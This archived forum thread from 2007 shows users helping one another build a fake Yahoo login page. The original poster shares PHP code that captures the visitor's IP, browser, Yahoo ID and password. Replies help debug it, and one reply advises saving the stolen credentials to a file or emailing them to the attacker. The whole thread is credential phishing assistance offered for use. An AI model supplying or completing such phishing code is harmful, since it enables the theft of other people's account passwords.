PDA

View Full Version : Fake logins..final help



sosme
12-11-2007, 05:57 AM
I have created a php page for mailing the details from yahoo and have saved it with an extension of .php

This is the Php page that i have created
<html>
<body>

<?php
echo(date("l dS \of F Y h:i:s A") . "<br />");
<?php
echo $_SERVER['REMOTE_ADDR'];
?>
<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>
Yahoo! ID: <?php echo $_POST["Yahoo! ID"]; ?><br />
Password:<?php echo $_POST["Password"]; ?><br />

</body>
</html>

Now in the main login page,i have referred this php page under <Form Action>

after i clik on Sign in...rather than moving on..it opens this Php page and shows the above code

Now cud anyone tell what are the things that have to be done to out this php into work

Ezekiel
12-14-2007, 03:36 PM
You didn't close the top opening PHP tag.

Your server may not have PHP installed.

Moonbat
12-14-2007, 09:04 PM
Also, sosme, all your page is doing is taking the username and password (plus some other info) and echoing it back to the user. You should have the user/pass information be written to a file, or sent to you via email.

biggjay
12-15-2007, 06:57 PM
I am having the same problem. how do I direct the user and pass to be written on the server or emailed to me ? having a hell of time figuring this out.....please help